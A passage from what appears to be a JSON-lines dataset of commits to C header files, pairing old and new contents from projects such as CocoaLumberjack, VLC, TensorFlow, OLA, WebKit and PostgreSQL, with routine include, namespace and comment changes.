d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,ssm\/pkg-varnish"}
{"commit":"b4e78339970f151f04a8167e97c64bc6c8ae5eb7","old_file":"Framework\/Lumberjack\/CocoaLumberjack.h","new_file":"Framework\/Lumberjack\/CocoaLumberjack.h","old_contents":"\/\/\n\/\/  CocoaLumberjack.h\n\/\/  CocoaLumberjack\n\/\/\n\/\/  Created by Andrew Mackenzie-Ross on 3\/02\/2015.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for CocoaLumberjack.\nFOUNDATION_EXPORT double CocoaLumberjackVersionNumber;\n\n\/\/! Project version string for CocoaLumberjack.\nFOUNDATION_EXPORT const unsigned char CocoaLumberjackVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CocoaLumberjack\/PublicHeader.h>\n\n\n\n\/\/ Disable legacy macros\n#ifndef DD_LEGACY_MACROS\n    #define DD_LEGACY_MACROS 0\n#endif\n\n\/\/ Core\n#import <CocoaLumberjack\/DDLog.h>\n\n\/\/ Main macros\n#import <CocoaLumberjack\/DDLogMacros.h>\n#import <CocoaLumberjack\/DDAssertMacros.h>\n\n\/\/ Capture ASL\n#import <CocoaLumberjack\/DDASLLogCapture.h>\n\n\/\/ Loggers\n#import <CocoaLumberjack\/DDTTYLogger.h>\n#import <CocoaLumberjack\/DDASLLogger.h>\n#import <CocoaLumberjack\/DDFileLogger.h>\n\n\/\/ CLI\n#if defined(DD_CLI) || !__has_include(<AppKit\/NSColor.h>)\n#import <CocoaLumberjack\/CLIColor.h>\n#endif\n","new_contents":"\/\/\n\/\/  CocoaLumberjack.h\n\/\/  CocoaLumberjack\n\/\/\n\/\/  Created by Andrew Mackenzie-Ross on 3\/02\/2015.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for CocoaLumberjack.\nFOUNDATION_EXPORT double CocoaLumberjackVersionNumber;\n\n\/\/! Project version string for CocoaLumberjack.\nFOUNDATION_EXPORT const unsigned char CocoaLumberjackVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CocoaLumberjack\/PublicHeader.h>\n\n\n\n\/\/ Disable legacy macros\n#ifndef DD_LEGACY_MACROS\n    #define DD_LEGACY_MACROS 0\n#endif\n\n\/\/ Core\n#import <CocoaLumberjack\/DDLog.h>\n\n\/\/ Main macros\n#import <CocoaLumberjack\/DDLogMacros.h>\n#import <CocoaLumberjack\/DDAssertMacros.h>\n\n\/\/ Capture ASL\n#import <CocoaLumberjack\/DDASLLogCapture.h>\n\n\/\/ Loggers\n#import <CocoaLumberjack\/DDTTYLogger.h>\n#import <CocoaLumberjack\/DDASLLogger.h>\n#import <CocoaLumberjack\/DDFileLogger.h>\n\n\/\/ CLI\n#import <CocoaLumberjack\/CLIColor.h>\n","subject":"Revert \"Conditionally include CLIColor in umbrella header\"","message":"Revert \"Conditionally include CLIColor in umbrella header\"\n","lang":"C","license":"bsd-3-clause","repos":"CocoaLumberjack\/CocoaLumberjack,jum\/CocoaLumberjack,sushichop\/CocoaLumberjack,sushichop\/CocoaLumberjack,jum\/CocoaLumberjack,CocoaLumberjack\/CocoaLumberjack,sushichop\/CocoaLumberjack,jum\/CocoaLumberjack,DD-P\/CocoaLumberjack,CocoaLumberjack\/CocoaLumberjack,DD-P\/CocoaLumberjack,sushichop\/CocoaLumberjack,jum\/CocoaLumberjack,DD-P\/CocoaLumberjack,CocoaLumberjack\/CocoaLumberjack"}
{"commit":"f7600a71bbdee8407a4eddee197e8d599f6d002b","old_file":"include\/vlc_memory.h","new_file":"include\/vlc_memory.h","old_contents":"","new_contents":"\/*****************************************************************************\n * vlc_memory.h: Memory functions\n *****************************************************************************\n * Copyright (C) 2009 the VideoLAN team\n *\n * Authors: JP Dinger <jpd at videolan dot org>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#ifndef VLC_MEMORY_H\n#define VLC_MEMORY_H 1\n\n\/**\n * \\file\n * This file deals with memory fixups\n *\/\n\n\/**\n * \\defgroup memory Memory\n * @{\n *\/\n\n\/**\n * This wrapper around realloc() will free the input pointer when\n * realloc() returns NULL. The use case ptr = realloc(ptr, newsize) will\n * cause a memory leak when ptr pointed to a heap allocation before,\n * leaving the buffer allocated but unreferenced. vlc_realloc() is a\n * drop-in replacement for that use case (and only that use case).\n *\/\nstatic inline void *realloc_or_free( void *p, size_t sz )\n{\n    void *n = realloc(p,sz);\n    if( !n )\n        free(p);\n    return n;\n}\n\n\/**\n * @}\n *\/\n\n#endif\n","subject":"Introduce realloc_or_free(), which does what realloc() does but will free the argument if the reallocation fails. This is useful in some, but not all, use cases of realloc().","message":"Introduce realloc_or_free(), which does what realloc() does but will free the argument if the reallocation fails. This is useful in some, but not all, use cases of realloc().\n","lang":"C","license":"lgpl-2.1","repos":"xkfz007\/vlc,jomanmuk\/vlc-2.1,krichter722\/vlc,vlc-mirror\/vlc,jomanmuk\/vlc-2.1,vlc-mirror\/vlc,vlc-mirror\/vlc,vlc-mirror\/vlc-2.1,shyamalschandra\/vlc,xkfz007\/vlc,krichter722\/vlc,shyamalschandra\/vlc,jomanmuk\/vlc-2.2,shyamalschandra\/vlc,shyamalschandra\/vlc,vlc-mirror\/vlc,jomanmuk\/vlc-2.2,vlc-mirror\/vlc-2.1,vlc-mirror\/vlc,jomanmuk\/vlc-2.2,jomanmuk\/vlc-2.2,vlc-mirror\/vlc-2.1,jomanmuk\/vlc-2.2,xkfz007\/vlc,jomanmuk\/vlc-2.1,vlc-mirror\/vlc-2.1,krichter722\/vlc,vlc-mirror\/vlc,shyamalschandra\/vlc,xkfz007\/vlc,vlc-mirror\/vlc-2.1,vlc-mirror\/vlc,shyamalschandra\/vlc,xkfz007\/vlc,vlc-mirror\/vlc-2.1,jomanmuk\/vlc-2.2,krichter722\/vlc,jomanmuk\/vlc-2.1,xkfz007\/vlc,krichter722\/vlc,jomanmuk\/vlc-2.1,shyamalschandra\/vlc,vlc-mirror\/vlc-2.1,jomanmuk\/vlc-2.1,jomanmuk\/vlc-2.2,jomanmuk\/vlc-2.1,xkfz007\/vlc,krichter722\/vlc,krichter722\/vlc"}
{"commit":"d4a2104beb0d9aebf8fe2799430e7261387b08ef","old_file":"tensorflow\/lite\/ios\/TensorFlowLiteC.h","new_file":"tensorflow\/lite\/ios\/TensorFlowLiteC.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n#define TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n\n#include \"tensorflow\/lite\/builtin_ops.h\"\n#include \"tensorflow\/lite\/c\/c_api.h\"\n#include \"tensorflow\/lite\/c\/c_api_experimental.h\"\n#include \"tensorflow\/lite\/c\/c_api_types.h\"\n#include \"tensorflow\/lite\/c\/common.h\"\n#include \"tensorflow\/lite\/core\/c\/c_api.h\"\n#include \"tensorflow\/lite\/delegates\/xnnpack\/xnnpack_delegate.h\"\n\n#endif  \/\/ TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n#define TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n\n#include \"tensorflow\/lite\/builtin_ops.h\"\n#include \"tensorflow\/lite\/c\/c_api.h\"\n#include \"tensorflow\/lite\/c\/c_api_experimental.h\"\n#include \"tensorflow\/lite\/c\/c_api_types.h\"\n#include \"tensorflow\/lite\/c\/common.h\"\n#include \"tensorflow\/lite\/delegates\/xnnpack\/xnnpack_delegate.h\"\n\n#endif  \/\/ TENSORFLOW_LITE_IOS_TENSORFLOWLITEC_H_\n","subject":"Fix iOS nightly release. Exports the actual c api header instead of the shim header in the TensorflowLiteC framework","message":"Fix iOS nightly release. Exports the actual c api header instead of the shim header in the TensorflowLiteC framework\n\nPiperOrigin-RevId: 477905780\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow"}
{"commit":"bb6235f7fe8957ba09ff8c557d8caf4844e9ff38","old_file":"common\/network\/WindowsInterfacePicker.h","new_file":"common\/network\/WindowsInterfacePicker.h","old_contents":"\/*\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Library General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * WindowsInterfacePicker.h\n * Choose an interface to listen on\n * Copyright (C) 2005-2010 Simon Newton\n *\/\n\n#ifndef COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n#define COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n\n#include <vector>\n#include \"ola\/network\/InterfacePicker.h\"\n\n\/*\n * The InterfacePicker for windows\n *\/\nclass WindowsInterfacePicker: public InterfacePicker {\n  public:\n    std::vector<Interface> GetInterfaces() const;\n};\n}  \/\/ network\n}  \/\/ ola\n#endif  \/\/ COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n\n","new_contents":"\/*\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Library General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n * WindowsInterfacePicker.h\n * Choose an interface to listen on\n * Copyright (C) 2005-2010 Simon Newton\n *\/\n\n#ifndef COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n#define COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n\n#include <vector>\n#include \"ola\/network\/InterfacePicker.h\"\n\nnamespace ola {\nnamespace network {\n\n\/*\n * The InterfacePicker for windows\n *\/\nclass WindowsInterfacePicker: public InterfacePicker {\n  public:\n    std::vector<Interface> GetInterfaces() const;\n};\n}  \/\/ network\n}  \/\/ ola\n#endif  \/\/ COMMON_NETWORK_WINDOWSINTERFACEPICKER_H_\n\n","subject":"Add the missing namespace bits","message":"Add the missing namespace bits\n","lang":"C","license":"lgpl-2.1","repos":"nip3o\/open-lighting,emonty\/ola,nip3o\/open-lighting,mlba-team\/open-lighting,emonty\/ola,nip3o\/open-lighting,ld3300\/ola,nightrune\/ola,ld3300\/ola,nightrune\/ola,ld3300\/ola,mlba-team\/open-lighting,mlba-team\/open-lighting,ld3300\/ola,nip3o\/open-lighting,mlba-team\/open-lighting,nightrune\/ola,mlba-team\/open-lighting,emonty\/ola,nightrune\/ola,ld3300\/ola,nip3o\/open-lighting,nightrune\/ola,ld3300\/ola,nightrune\/ola,emonty\/ola,ld3300\/ola,nightrune\/ola,emonty\/ola,mlba-team\/open-lighting,nip3o\/open-lighting"}
{"commit":"edc82eaff44802816280c90ffd40dbc69f59403a","old_file":"tensorflow\/compiler\/xla\/pjrt\/pjrt_plugin_device_client.h","new_file":"tensorflow\/compiler\/xla\/pjrt\/pjrt_plugin_device_client.h","old_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n#define TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n\nnamespace xla {\n\n\/\/ Not implemented by default. It is the responsibility of the plugin device\n\/\/ author to provide an implementation of this function.\nStatusOr<std::unique_ptr<PjRtClient>> GetTfrtPluginDeviceClient();\n\n}\n\n#endif \/\/ TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n","new_contents":"\/* Copyright 2022 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n#define TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n\nnamespace xla {\n\n\/\/ Not implemented by default. It is the responsibility of the plugin device\n\/\/ author to provide an implementation of this function. It is recommended to\n\/\/ implement this in \/\/tensorflow\/compiler\/plugin:plugin\nStatusOr<std::unique_ptr<PjRtClient>> GetTfrtPluginDeviceClient();\n\n}  \/\/ namespace xla\n\n#endif  \/\/ TENSORFLOW_COMPILER_XLA_PJRT_PLUGIN_DEVICE_CLIENT_H_\n","subject":"Add comment on `GetTfrtPluginDeviceClient` to explain where to put the implementation.","message":"Add comment on `GetTfrtPluginDeviceClient` to explain where to put the implementation.\n","lang":"C","license":"apache-2.0","repos":"Intel-tensorflow\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,paolodedios\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow"}
{"commit":"a9911bfeeb2fbc55e38cec50cd2f019510807077","old_file":"WebCore\/platform\/graphics\/FontSmoothingMode.h","new_file":"WebCore\/platform\/graphics\/FontSmoothingMode.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2009 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#ifndef FontSmoothingMode_h\n#define FontSmoothingMode_h\n\nnamespace WebCore {\n\n    enum FontSmoothingMode { AutoSmoothing, NoSmoothing, Antialiased, SubpixelAntialiased };\n    \n} \/\/ namespace WebCore\n\n#endif \/\/ FontSmoothingMode_h\n","subject":"Add file that was missing from the last change","message":"Add file that was missing from the last change\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@48475 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"Pluto-tv\/blink-crosswalk,nwjs\/blink,ondra-novak\/blink,modulexcite\/blink,smishenk\/blink-crosswalk,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,kurli\/blink-crosswalk,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,ondra-novak\/blink,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,modulexcite\/blink,Pluto-tv\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,Bysmyyr\/blink-crosswalk,modulexcite\/blink,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,nwjs\/blink,Pluto-tv\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,jtg-gg\/blink,nwjs\/blink,Pluto-tv\/blink-crosswalk,hgl888\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,modulexcite\/blink,modulexcite\/blink,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,hgl888\/blink-crosswalk-efl,kurli\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,modulexcite\/blink,smishenk\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,jtg-gg\/blink,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,nwjs\/blink,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,ondra-novak\/blink,ondra-novak\/blink,crosswalk-project\/blink-crosswalk-efl,jtg-gg\/blink,ondra-novak\/blink,smishenk\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,nwjs\/blink,crosswalk-project\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,modulexcite\/blink,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,nwjs\/blink,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,hgl888\/blink-crosswalk-efl,Pluto-tv\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,crosswalk-project\/blink-crosswalk-efl,kurli\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Bysmyyr\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,ondra-novak\/blink,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,nwjs\/blink,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,ondra-novak\/blink,jtg-gg\/blink,nwjs\/blink,smishenk\/blink-crosswalk,jtg-gg\/blink,Pluto-tv\/blink-crosswalk,modulexcite\/blink,nwjs\/blink,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,XiaosongWei\/blink-crosswalk,hgl888\/blink-crosswalk-efl,nwjs\/blink,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,ondra-novak\/blink,PeterWangIntel\/blink-crosswalk,modulexcite\/blink,kurli\/blink-crosswalk,hgl888\/blink-crosswalk-efl,smishenk\/blink-crosswalk,hgl888\/blink-crosswalk-efl,jtg-gg\/blink,hgl888\/blink-crosswalk-efl,ondra-novak\/blink"}
{"commit":"24864d048eec2c579346eb31a42c87be1c92644e","old_file":"src\/include\/port\/linux.h","new_file":"src\/include\/port\/linux.h","old_contents":"\/* __USE_POSIX, __USE_BSD, and __USE_BSD_SIGNAL used to be defined either\n   here or with -D compile options, but __ macros should be set and used by C\n   library macros, not Postgres code.  __USE_POSIX is set by features.h,\n   __USE_BSD is set by bsd\/signal.h, and __USE_BSD_SIGNAL appears not to\n   be used.\n*\/\n#define JMP_BUF\n#define USE_POSIX_TIME\n\n#if defined(__i386__)\ntypedef unsigned char slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__sparc__)\ntypedef unsigned char slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__powerpc__)\ntypedef unsigned int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__alpha__)\ntypedef long int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__mips__)\ntypedef unsigned int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#endif\n\n#if defined(__GLIBC__) && (__GLIBC__ >= 2)\n#ifdef HAVE_INT_TIMEZONE\n#undef HAVE_INT_TIMEZONE\n#endif\n#endif\n\n#if defined(__powerpc__)\n#undef HAVE_INT_TIMEZONE\n#endif\n","new_contents":"\/* __USE_POSIX, __USE_BSD, and __USE_BSD_SIGNAL used to be defined either\n   here or with -D compile options, but __ macros should be set and used by C\n   library macros, not Postgres code.  __USE_POSIX is set by features.h,\n   __USE_BSD is set by bsd\/signal.h, and __USE_BSD_SIGNAL appears not to\n   be used.\n*\/\n#define JMP_BUF\n#define USE_POSIX_TIME\n\n#if defined(__i386__)\ntypedef unsigned char slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__sparc__)\ntypedef unsigned char slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__powerpc__)\ntypedef unsigned int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif 